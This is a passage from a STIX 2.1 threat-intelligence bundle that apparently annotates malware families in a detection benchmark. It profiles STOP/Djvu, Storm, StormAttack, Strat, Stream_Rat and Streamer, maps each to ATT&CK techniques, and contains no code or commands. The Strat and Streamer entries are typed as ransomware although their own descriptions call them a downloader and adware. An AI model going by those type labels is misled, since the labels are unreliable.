    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04fc55d4-fb4e-5a54-89aa-04ebd53e27c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47a150e4-bd72-5212-b7d3-de0516807f7b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stocde exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6289230a-8cf5-519f-abf3-0e12ca014d81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47a150e4-bd72-5212-b7d3-de0516807f7b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stocde exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c5f9dbe-225d-57ac-8b9e-a2586aa874a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47a150e4-bd72-5212-b7d3-de0516807f7b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stocde exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--38308f92-d5f9-58c9-9186-41992b2b775d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stop",
      "description": "STOP (universally recognized across consumer cybersecurity forums and threat feeds as STOP/Djvu) is the single most prevalent consumer ransomware family in cyber history by raw victim count. Active since late 2018, STOP specifically targets home consumers, remote workers, and small business operators by distributing its payloads through trojanized software cracks, warez torrents, key generators (such as fake KMSPico activators), and pirated media bundles. Once executed on a Windows system, the ransomware attempts to reach its centralized command-and-control servers to obtain an 'Online Key' (a unique public RSA key generated per victim). If the host is disconnected or firewalled from the C2 server, STOP falls back to an embedded hardcoded 'Offline Key' that is shared across thousands of victims. The malware traverses all mounted fixed and removable drives, encrypting victim personal files (documents, images, videos, databases) using high-speed AES-256 encryption and appending unique extension tags (with hundreds of observed variants including .djvu, .stop, .gero, .coot, .tisc, and .peet). In over 60% of modern infections, STOP simultaneously deploys secondary infostealers (such as Vidar or RedLine) to harvest stored browser credentials and cryptocurrency wallets before the ransom note (_readme.txt) is displayed. (Observed samples in benchmark: 8,900)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "STOP/Djvu",
        "Djvu Ransomware",
        "Ransomware:Win32/Stop",
        "Trojan-Ransom.Win32.Stop",
        "Djvu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b821edfd-2a65-5f90-9bd9-d5563ff45b92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38308f92-d5f9-58c9-9186-41992b2b775d",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stop exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b45bd34a-17c1-56bb-abcb-466e71fef9cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38308f92-d5f9-58c9-9186-41992b2b775d",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stop exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--523ab7c1-f915-5033-92fd-86e2a8c9c9ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38308f92-d5f9-58c9-9186-41992b2b775d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stop exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e50567d2-043f-5bfb-9a6c-c2651302e297",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38308f92-d5f9-58c9-9186-41992b2b775d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stop exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8ae6e1b-b01b-5fb5-b678-86bbca03edc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38308f92-d5f9-58c9-9186-41992b2b775d",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stop exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--419ceabc-845a-57ad-bf58-3bac50f782d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38308f92-d5f9-58c9-9186-41992b2b775d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stop exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--057fc3ae-5cef-5510-9fcf-93cac274f5bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38308f92-d5f9-58c9-9186-41992b2b775d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stop exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--512b17b5-db97-5ef7-9d1d-fb5aabcf983a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Storm",
      "description": "Worm:Win32/Storm (universally documented in cybersecurity literature as the Storm Worm, Peed, and Nuwar) was a revolutionary peer-to-peer (P2P) botnet that infected an estimated 10 million computers worldwide between 2007 and 2008. Storm revolutionized malware architecture by pioneering two foundational cybercrime innovations: the use of the decentralized Overnet/Kademlia P2P communication protocol (eliminating centralized C2 servers) and Fast-Flux DNS service networks. Storm lured victims through sensationalized social engineering email spam capitalizing on European storm disasters (such as '230 dead as storm batters Europe'), celebrity scandals, and holiday greeting cards. The botnet was weaponized for high-volume email spam, financial stock manipulation, and defensive DDoS retaliation attacks against security researchers, CERTs, and spam-tracking organizations (including Spamhaus) that attempted to investigate its infrastructure. Storm served as the direct technological progenitor to subsequent P2P botnets including Waledac and Kelihos before being systematically countered by vendor endpoint removals and Overnet protocol poisoning. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Storm",
        "Storm Worm",
        "Peed",
        "Nuwar",
        "W32/Storm",
        "Dorf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Storm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/storm"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffa2ee8c-e703-55e7-a5b2-f5c95d5fb8b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--512b17b5-db97-5ef7-9d1d-fb5aabcf983a",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Storm exhibits technique T1566.002 (Spearphishing Link)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--8879e9df-961a-501e-9e6d-da4ed39df2c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1568.001: Fast Flux DNS",
      "description": "MITRE ATT&CK Technique T1568.001 (Fast Flux DNS) under tactic command-and-control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1568.001",
          "url": "https://attack.mitre.org/techniques/T1568/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aab3fdd2-9401-536c-9558-b2df099fde37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--512b17b5-db97-5ef7-9d1d-fb5aabcf983a",
      "target_ref": "attack-pattern--8879e9df-961a-501e-9e6d-da4ed39df2c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Storm exhibits technique T1568.001 (Fast Flux DNS)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a09701c-13ae-5d28-95ab-a33cd6297e1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--512b17b5-db97-5ef7-9d1d-fb5aabcf983a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Storm exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3267a35b-f131-5e09-9ecf-f805f3ee229f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--512b17b5-db97-5ef7-9d1d-fb5aabcf983a",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Storm exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7838e50a-60b8-5393-8730-b9dd6209ac2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--512b17b5-db97-5ef7-9d1d-fb5aabcf983a",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Storm exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d28f960a-a414-53fa-a71b-d6849a568366",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--512b17b5-db97-5ef7-9d1d-fb5aabcf983a",
      "target_ref": "attack-pattern--3fdb36f7-3f3b-517d-a867-ed94c17be68a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Storm exhibits technique T1560.001 (Archive via Utility)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e09e4a42-d351-5ba5-ab3d-9cf73d2f1021",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stormattack",
      "description": "StormAttack (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/StormAttack and Trojan:Win32/StormAttack!MTB) is a Windows trojan downloader and distributed denial-of-service bot component active since 2017. Borrowing architectural motifs and naming conventions from historic storm botnet families, StormAttack infiltrates endpoints primarily through trojanized software activators, cracked games, and malicious email links. Upon execution, the malware establishes persistence through registry autostart keys under Windows CurrentVersion\\Run, disables security notification popups, and initiates encrypted C2 communications. StormAttack receives operator commands to stage secondary malware threats\u2014such as cryptocurrency miners and infostealers\u2014and participates in coordinated packet flood attacks against targeted web services. (Observed samples in benchmark: 62)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/StormAttack",
        "Trojan:Win32/StormAttack!MTB",
        "StormAttack",
        "Win32/StormAttack"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stormattack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stormattack"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fac9cbf8-7420-53a3-a8b6-e38327281067",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e09e4a42-d351-5ba5-ab3d-9cf73d2f1021",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stormattack exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcc4ad8a-6c3b-59de-9a25-25bf9926a42f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e09e4a42-d351-5ba5-ab3d-9cf73d2f1021",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stormattack exhibits technique T1090.003 (Proxy: Multi-hop Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16a76d10-6487-5d4c-8237-df08732be3ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e09e4a42-d351-5ba5-ab3d-9cf73d2f1021",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stormattack exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dd12b76-7558-5988-95be-b99f084cec30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e09e4a42-d351-5ba5-ab3d-9cf73d2f1021",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stormattack exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4126fb06-38ac-5ddf-af3a-28bed9626cd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e09e4a42-d351-5ba5-ab3d-9cf73d2f1021",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stormattack exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b332326-f833-5b88-ac8f-9118890cdbd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Strat",
      "description": "<h3>Executive Summary</h3>\nStrat is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nStrat is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Strat operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Strat ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Strat receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Strat infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Strat executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Strat frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Strat",
        "Downloader.Strat",
        "Win32/Strat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Strat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/strat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c88e097-32a9-5deb-b15c-a897de12f214",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b332326-f833-5b88-ac8f-9118890cdbd6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1c4624e-797b-5dfb-8d13-cdd21423e845",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b332326-f833-5b88-ac8f-9118890cdbd6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfaa87b0-3d8f-55dd-a6a3-8e61e67b05ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b332326-f833-5b88-ac8f-9118890cdbd6",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strat exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac59ee68-8318-5486-8be1-9b01ea011f81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stream_Rat",
      "description": "Stream-RAT (also styled across security documentation as StreamRAT, Backdoor.StreamRAT, and Trojan.StreamRAT) is an early-to-mid 2000s Remote Access Trojan engineered primarily in Visual Basic to provide real-time multimedia surveillance and remote endpoint control. Distinguishing itself from conventional command-line backdoors of the era, Stream-RAT was specifically developed to provide low-latency desktop screen streaming, webcam hijacking, and microphone eavesdropping over raw TCP connections. Upon infecting a Windows host, Stream-RAT establishes persistence via registry autostart keys, hides its executable inside system directories, and establishes a persistent listening server socket or reverse connection to an operator-controlled management console. Beyond surveillance, Stream-RAT provides full remote administration capabilities including file upload/download, process control, keyboard monitoring, and remote registry editing.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "StreamRAT",
        "Backdoor.StreamRAT",
        "Trojan.StreamRAT",
        "Backdoor:Win32/StreamRAT",
        "Stream RAT 1.0"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stream_Rat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stream_rat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a85267ea-d4d9-5607-b20c-a1696d11bd7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac59ee68-8318-5486-8be1-9b01ea011f81",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stream_Rat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--626df38b-4d29-5151-a8be-ccda8bdcc165",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac59ee68-8318-5486-8be1-9b01ea011f81",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stream_Rat exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3295aa5-5757-5c5f-8fc8-a81c5a769860",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac59ee68-8318-5486-8be1-9b01ea011f81",
      "target_ref": "attack-pattern--ed2a807b-3451-5ba6-bc92-f7395d0d7084",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stream_Rat exhibits technique T1123 (Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b800a2a-39ae-5c49-aaba-fc2a586f4af7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac59ee68-8318-5486-8be1-9b01ea011f81",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stream_Rat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d623c8a-5480-5051-8d62-252e4f6a592d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac59ee68-8318-5486-8be1-9b01ea011f81",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stream_Rat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eca4e867-96f6-5b50-8417-6c8bda005606",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Streamer",
      "description": "<h3>Executive Summary</h3>\nStreamer (often detected as Adware.Streamer or PUP.Streamer) is a Potentially Unwanted Program that typically masquerades as a legitimate media streaming utility, video player plugin, or file-sharing client. In reality, it is an aggressive adware component designed to hijack the user's web browsing experience, inject unauthorized advertisements into web pages, and track browsing habits to generate fraudulent affiliate revenue.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nStreamer primarily infiltrates systems via deceptive software bundling. It is frequently packaged with \"freeware\" applications, pirated software, or fake video codecs downloaded from untrustworthy websites (e.g., \"You need to update your media player to watch this video\").\n\nOnce installed, Streamer aggressively degrades the user experience:\n<ul>\n<li><strong>Browser Hijacking:</strong> It forcibly alters the default homepage, new tab page, and search engine in major web browsers (Chrome, Edge, Firefox), redirecting all traffic through attacker-controlled affiliate links to artificially inflate ad impressions.</li>\n<li><strong>Intrusive Ad Injection:</strong> The adware actively modifies the HTML of legitimate websites visited by the user, overlaying the page with intrusive pop-ups, banner ads, and \"sponsored\" links that completely disrupt normal web browsing.</li>\n<li><strong>Aggressive Persistence:</strong> Streamer is known for establishing persistence mechanisms. It often installs malicious browser extensions and modifies registry `Run` keys to ensure the adware background processes launch automatically upon every system boot.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Streamer is not typically destructive like a file-encrypting ransomware, it causes severe operational disruption. The constant rendering of injected ads consumes significant CPU and RAM, leading to severe browser latency and system instability. The persistent tracking of search queries also constitutes a significant privacy violation.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Specialized Anti-Malware Scan:</strong> Standard antivirus often struggles to fully remove adware. Utilize an enterprise-grade anti-malware solution specifically designed for PUP/Adware removal to target the persistent registry keys and scheduled tasks.</li>\n<li><strong>Group Policy Audit:</strong> IT staff must inspect the local Windows Group Policy settings (specifically for Chrome and Edge) to remove any unauthorized policies that are force-installing the browser extensions.</li>\n<li><strong>Browser Factory Reset:</strong> To completely eradicate the hijacking components and tracking cookies, all installed web browsers on the infected endpoint must undergo a full factory reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Streamer",
        "PUP.Streamer",
        "BrowserHijacker.Streamer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Streamer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/streamer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a1177bc-2ee8-58b0-a8b2-cc5482a517cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eca4e867-96f6-5b50-8417-6c8bda005606",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Streamer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43bb5a6b-e2bf-58cb-8262-57fb9dcc302d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eca4e867-96f6-5b50-8417-6c8bda005606",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
